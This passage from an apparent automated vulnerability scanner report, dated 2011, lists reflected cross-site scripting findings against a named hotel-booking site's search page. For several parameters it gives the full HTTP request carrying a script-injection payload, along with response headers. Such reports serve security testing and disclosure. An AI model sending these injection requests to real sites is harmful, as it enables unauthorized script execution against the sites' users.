4l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:12:15 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Set-Cookie: SOURCECODE=IGoUGo;expires=Sat, 31-Mar-2012 00:12:15 GMT;path=/ Vary: Accept-Encoding Content-Length: 190531
The value of the Country request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34479"><script>alert(1)</script>e1b66b11f67 was submitted in the Country parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Search/Index.cfm?City=Boston&InDate=10/04/2011&OutDate=10/07/2011&NumRooms=1&adults=1&State=Massachusetts&Country=United%20States34479"><script>alert(1)</script>e1b66b11f67&sc=IGoUGo HTTP/1.1 Host: www.hotelplanner.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=hotelplanner&grp=9701&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.hotelplanner.com%2FSearch%2FIndex.cfm%3FCity%3D%24%7Bcity%7D%26InDate%3D%24%7BdepartureDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26OutDate%3D%24%7BreturnDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26NumRooms%3D%24%7Brooms%7D%26adults%3D%24%7Badults%7D%26State%3D%24%7Bstaten%7D%26Country%3D%24%7Bcountryn%7D%26sc%3DIGoUGo&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=149&pos=5&aii=41baf401-e791-4c75-8143-e95891286e0a&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:13:05 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Set-Cookie: SOURCECODE=IGoUGo;expires=Sat, 31-Mar-2012 00:13:05 GMT;path=/ Vary: Accept-Encoding Content-Length: 228301
The value of the InDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83c95"><script>alert(1)</script>e05fe8cdb05 was submitted in the InDate parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Search/Index.cfm?City=Boston&InDate=10/04/201183c95"><script>alert(1)</script>e05fe8cdb05&OutDate=10/07/2011&NumRooms=1&adults=1&State=Massachusetts&Country=United%20States&sc=IGoUGo HTTP/1.1 Host: www.hotelplanner.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=hotelplanner&grp=9701&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.hotelplanner.com%2FSearch%2FIndex.cfm%3FCity%3D%24%7Bcity%7D%26InDate%3D%24%7BdepartureDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26OutDate%3D%24%7BreturnDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26NumRooms%3D%24%7Brooms%7D%26adults%3D%24%7Badults%7D%26State%3D%24%7Bstaten%7D%26Country%3D%24%7Bcountryn%7D%26sc%3DIGoUGo&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=149&pos=5&aii=41baf401-e791-4c75-8143-e95891286e0a&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:12:30 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Set-Cookie: SOURCECODE=IGoUGo;expires=Sat, 31-Mar-2012 00:12:30 GMT;path=/ Vary: Accept-Encoding Content-Length: 116967
The value of the InDate request parameter is copied into the HTML document as plain text between tags. The payload 76afe<script>alert(1)</script>50d24de7e84 was submitted in the InDate parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Search/Index.cfm?City=Boston&InDate=10/04/201176afe<script>alert(1)</script>50d24de7e84&OutDate=10/07/2011&NumRooms=1&adults=1&State=Massachusetts&Country=United%20States&sc=IGoUGo HTTP/1.1 Host: www.hotelplanner.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=hotelplanner&grp=9701&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.hotelplanner.com%2FSearch%2FIndex.cfm%3FCity%3D%24%7Bcity%7D%26InDate%3D%24%7BdepartureDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26OutDate%3D%24%7BreturnDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26NumRooms%3D%24%7Brooms%7D%26adults%3D%24%7Badults%7D%26State%3D%24%7Bstaten%7D%26Country%3D%24%7Bcountryn%7D%26sc%3DIGoUGo&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=149&pos=5&aii=41baf401-e791-4c75-8143-e95891286e0a&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:12:31 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Set-Cookie: SOURCECODE=IGoUGo;expires=Sat, 31-Mar-2012 00:12:31 GMT;path=/ Vary: Accept-Encoding Content-Length: 116943
The value of the NumRooms request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55f79"><script>alert(1)</script>e8ddfbe6e0 was submitted in the NumRooms parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Search/Index.cfm?City=Boston&InDate=10/04/2011&OutDate=10/07/2011&NumRooms=155f79"><script>alert(1)</script>e8ddfbe6e0&adults=1&State=Massachusetts&Country=United%20States&sc=IGoUGo HTTP/1.1 Host: www.hotelplanner.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=hotelplanner&grp=9701&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.hotelplanner.com%2FSearch%2FIndex.cfm%3FCity%3D%24%7Bcity%7D%26InDate%3D%24%7BdepartureDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26OutDate%3D%24%7BreturnDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26NumRooms%3D%24%7Brooms%7D%26adults%3D%24%7Badults%7D%26State%3D%24%7Bstaten%7D%26Country%3D%24%7Bcountryn%7D%26sc%3DIGoUGo&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=149&pos=5&aii=41baf401-e791-4c75-8143-e95891286e0a&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:12:36 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Set-Cookie: SOURCECODE=IGoUGo;expires=Sat, 31-Mar-2012 00:12:36 GMT;path=/ Vary: Accept-Encoding Content-Length: 117313
The value of the OutDate request parameter is copied into the HTML document as plain text between tags. The payload 98a59<script>alert(1)</script>9f1d973ec8e was submitted in the OutDate parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Search/Index.cfm?City=Boston&InDate=10/04/2011&OutDate=10/07/201198a59<script>alert(1)</script>9f1d973ec8e&NumRooms=1&adults=1&State=Massachusetts&Country=United%20States&sc=IGoUGo HTTP/1.1 Host: www.hotelplanner.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=hotelplanner&grp=9701&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.hotelplanner.com%2FSearch%2FIndex.cfm%3FCity%3D%24%7Bcity%7D%26InDate%3D%24%7BdepartureDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26OutDate%3D%24%7BreturnDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26NumRooms%3D%24%7Brooms%7D%26adults%3D%24%7Badults%7D%26State%3D%24%7Bstaten%7D%26Country%3D%24%7Bcountryn%7D%26sc%3DIGoUGo&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=149&pos=5&aii=41baf401-e791-4c75-8143-e95891286e0a&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:12:36 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Set-Cookie: SOURCECODE=IGoUGo;expires=Sat, 31-Mar-2012 00:12:36 GMT;path=/ Vary: Accept-Encoding Content-Length: 116944
The value of the OutDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9e15"><script>alert(1)</script>8bc2304a16a was submitted in the OutDate parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Search/Index.cfm?City=Boston&InDate=10/04/2011&OutDate=10/07/2011c9e15"><script>alert(1)</script>8bc2304a16a&NumRooms=1&adults=1&State=Massachusetts&Country=United%20States&sc=IGoUGo HTTP/1.1 Host: www.hotelplanner.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=hotelplanner&grp=9701&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.hotelplanner.com%2FSearch%2FIndex.cfm%3FCity%3D%24%7Bcity%7D%26InDate%3D%24%7BdepartureDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26OutDate%3D%24%7BreturnDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26NumRooms%3D%24%7Brooms%7D%26adults%3D%24%7Badults%7D%26State%3D%24%7Bstaten%7D%26Country%3D%24%7Bcountryn%7D%26sc%3DIGoUGo&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=149&pos=5&aii=41baf401-e791-4c75-8143-e95891286e0a&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:12:34 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Set-Cookie: SOURCECODE=IGoUGo;expires=Sat, 31-Mar-2012 00:12:34 GMT;path=/ Vary: Accept-Encoding Content-Length: 116968
The value of the State request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d46d"><script>alert(1)</script>a26c259b4ab was submitted in the State parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Search/Index.cfm?City=Boston&InDate=10/04/2011&OutDate=10/07/2011&NumRooms=1&adults=1&State=Massachusetts1d46d"><script>alert(1)</script>a26c259b4ab&Country=United%20States&sc=IGoUGo HTTP/1.1 Host: www.hotelplanner.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=hotelplanner&grp=9701&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.hotelplanner.com%2FSearch%2FIndex.cfm%3FCity%3D%24%7Bcity%7D%26InDate%3D%24%7BdepartureDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26OutDate%3D%24%7BreturnDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26NumRooms%3D%24%7Brooms%7D%26adults%3D%24%7Badults%7D%26State%3D%24%7Bstaten%7D%26Country%3D%24%7Bcountryn%7D%26sc%3DIGoUGo&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=149&pos=5&aii=41baf401-e791-4c75-8143-e95891286e0a&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:12:53 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Set-Cookie: SOURCECODE=IGoUGo;expires=Sat, 31-Mar-2012 00:12:53 GMT;path=/ Vary: Accept-Encoding Content-Length: 204589
The value of the adults request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0c52"><script>alert(1)</script>4bf2e57ade7 was submitted in the adults parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Search/Index.cfm?City=Boston&InDate=10/04/2011&OutDate=10/07/2011&NumRooms=1&adults=1d0c52"><script>alert(1)</script>4bf2e57ade7&State=Massachusetts&Country=United%20States&sc=IGoUGo HTTP/1.1 Host: www.hotelplanner.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=hotelplanner&grp=9701&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.hotelplanner.com%2FSearch%2FIndex.cfm%3FCity%3D%24%7Bcity%7D%26InDate%3D%24%7BdepartureDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26OutDate%3D%24%7BreturnDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26NumRooms%3D%24%7Brooms%7D%26adults%3D%24%7Badults%7D%26State%3D%24%7Bstaten%7D%26Country%3D%24%7Bcountryn%7D%26sc%3DIGoUGo&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=149&pos=5&aii=41baf401-e791-4c75-8143-e95891286e0a&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:12:43 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Set-Cookie: SOURCECODE=IGoUGo;expires=Sat, 31-Mar-2012 00:12:43 GMT;path=/ Vary: Accept-Encoding Content-Length: 228301
4.264. http://www.hotelplanner.com/Search/Index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.hotelplanner.com
Path:
/Search/Index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14e5a"><script>alert(1)</script>8b5edb22f8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Search/Index.cfm?City=Boston&InDate=10/04/2011&OutDate=10/07/2011&NumRooms=1&adults=1&State=Massachusetts&Country=United%20States&sc=IGoUGo&14e5a"><script>alert(1)</script>8b5edb22f8=1 HTTP/1.1 Host: www.hotelplanner.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=hotelplanner&grp=9701&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.hotelplanner.com%2FSearch%2FIndex.cfm%3FCity%3D%24%7Bcity%7D%26InDate%3D%24%7BdepartureDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26OutDate%3D%24%7BreturnDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26NumRooms%3D%24%7Brooms%7D%26adults%3D%24%7Badults%7D%26State%3D%24%7Bstaten%7D%26Country%3D%24%7Bcountryn%7D%26sc%3DIGoUGo&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=149&pos=5&aii=41baf401-e791-4c75-8143-e95891286e0a&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: 